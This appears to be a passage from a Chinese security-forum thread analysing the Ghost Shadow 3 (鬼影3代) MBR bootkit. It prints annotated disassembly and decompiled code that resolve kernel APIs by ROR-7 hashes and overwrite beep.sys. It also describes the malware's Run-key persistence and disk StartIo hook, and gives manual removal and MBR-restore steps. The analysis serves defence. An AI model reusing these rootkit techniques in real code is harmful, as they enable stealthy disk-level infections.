seg000:00000116               push    0CC06CD48h      ; 这个Hash是KeDelayExecutionThread
seg000:0000011B               call    _GetPeExport    ; 获取此函数地址
seg000:00000120               lea   ebx,
seg000:00000123               push    ebx
seg000:00000124               push    0
seg000:00000129               push    0
seg000:0000012E               call    eax             ; 调用KeDelayExecutionThread休眠下
seg000:00000130               lea   ecx,
seg000:00000133               mov   dword ptr , 18h
seg000:00000139               and   dword ptr , 0
seg000:00000140               mov   dword ptr , 40h ; '@'
seg000:00000147               and   dword ptr , 0
seg000:0000014E               and   dword ptr , 0
seg000:00000155               mov   eax, 0FFDF0A85h
seg000:0000015A               mov   dword ptr , 0FFDF0A89h
seg000:00000164               mov   dword ptr , 0FFDF0A81h
seg000:0000016E               push    25298A1Dh       ; 这个Hash是ZwCreateFile
seg000:00000173               call    _GetPeExport
seg000:00000178               lea   ebx,
seg000:0000017B               lea   edx,
seg000:0000017E               push    0
seg000:00000183               push    0
seg000:00000188               push    20h ; ' '
seg000:0000018D               push    5
seg000:00000192               push    0
seg000:00000197               push    80h ;
seg000:0000019C               push    0
seg000:000001A1               push    edx
seg000:000001A2               push    ecx
seg000:000001A3               push    40000000h
seg000:000001A8               push    ebx
seg000:000001A9               call    eax             ; 调用ZwCreateFile打开Beep.sys
seg000:000001AB               or      eax, eax
seg000:000001AD               jnz   loc_108         ; 判断打开成功没有
seg000:000001B3               push    0
seg000:000001B8               push    2800h
seg000:000001BD               push    0
seg000:000001C2               push    0
seg000:000001C7               push    0FCE7EE0Ch      ; 这个Hash是MmMapIoSpace
seg000:000001CC               call    _GetPeExport
seg000:000001D1               call    eax             ; MmMapIoSpace();
seg000:000001D3               or      eax, eax
seg000:000001D5               jz      loc_108         ; 判断是否成功
seg000:000001DB               mov   ebx, eax
seg000:000001DD               add   ebx, 4D5h
seg000:000001E3               lea   ecx,
seg000:000001E6               push    7E3ACF7h      ; 这个Hash是ZwWriteFile
seg000:000001EB               call    _GetPeExport
seg000:000001F0               push    0
seg000:000001F5               push    0
seg000:000001FA               push    1A00h
seg000:000001FF               push    ebx
seg000:00000200               push    ecx
seg000:00000201               push    0
seg000:00000206               push    0
seg000:0000020B               push    0
seg000:00000210               push    dword ptr
seg000:00000213               call    eax             ; ZwWriteFile();
seg000:00000215               push    0FD929378h      ; 这个Hash是ZwClose
seg000:0000021A               call    _GetPeExport
seg000:0000021F               push    dword ptr
seg000:00000222               call    eax             ; ZwClose();
seg000:00000224               leave
seg000:00000225               popa
seg000:00000226               retn    4
以下为通过搜索PE导出表的INT进行HASH对比来得到对应的IAT,以便后面使用函数(比较经典的shellcode为了缩小体积获取API的方法),Hash的算法为循环左移7位。
do
    {
      v8 = *(_DWORD *)v7;
      v7 += 4;
      v11 = v4;
      do
      {
      LOBYTE(v3) = *(_BYTE *)v8++;
      v4 = __ROR__(v4 - v3, 7);               // hash算法
      }
      while ( v3 );
      v9 = v4 == 0;
      v4 = v11;
      --v6;
    }
    while ( v9 && v6 );

227883368 发表于 2015-2-9 16:25

没看懂,很厉害的样子!

become120 发表于 2014-7-1 15:54

楼主太专业了 如何获得以上数据的?

Jasonisgoodboy 发表于 2014-3-14 10:08

先收集了学习下。。。。。{:1_918:}

桀骜不驯 发表于 2014-2-10 09:28

膜拜大牛曾经中过鬼影

bupt_360_wdb 发表于 2014-1-27 22:38

lz 分析好详细~

4397903 发表于 2013-12-18 22:54

看看,提高自身技术{:1_918:}

willJ 发表于 2013-5-2 17:39

本帖最后由 willJ 于 2013-8-8 15:03 编辑

1、开启一个线程
2、删除"\SystemRoot\system32\drivers\beep.sys",设置启动注册表"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",键值为"Alg",指向的文件为"C\\alg.exe",创建文件"C:\\alg.exe"。
3、打开"\\??\\PhysicalDrive0",获得disk.sys驱动对象的DriverStartIo,使用_InterlockedExchange将病毒VisrusStartIo与DriverStartIo进行交换,达到Hook StartIo效果。
4、VirusStartIo保护病毒所在磁盘位置,将所有写操作改为读操作返回。

willJ 发表于 2013-5-2 17:39

本帖最后由 willJ 于 2013-5-3 12:05 编辑

鬼影3代手动修复方案
(1)结束并删除恶意程序(2)删除启动项(3)恢复驱动钩子,因为这个钩子对MBR做了过滤操作,如果直接覆盖MBR会失败。(4)根据母体的计算位置找到原始存储MBR的地方。我的硬盘有40G,所以存放在了9FFA9280字节处。(5)解密原始MBR,解密算法循环右移动73H。以下左边是正常MBR,右边是加密的MBR。(6)使用WinHex恢复MBR

我的心好冷 发表于 2013-5-2 17:51

虽然看不懂但我知道这是精华

c834606877 发表于 2013-5-2 17:54

都是大同小异......

帅气小书童 发表于 2013-5-2 17:55

这个必须围观

zxqwe 发表于 2013-5-2 18:01

MBR感染没工具修复起来麻烦。。

混小子 发表于 2013-5-2 18:08

好厉害啊,要向楼主学习
页: [1] 2 3 4 5 6 7 8 9
查看完整版本: 再看鬼影3代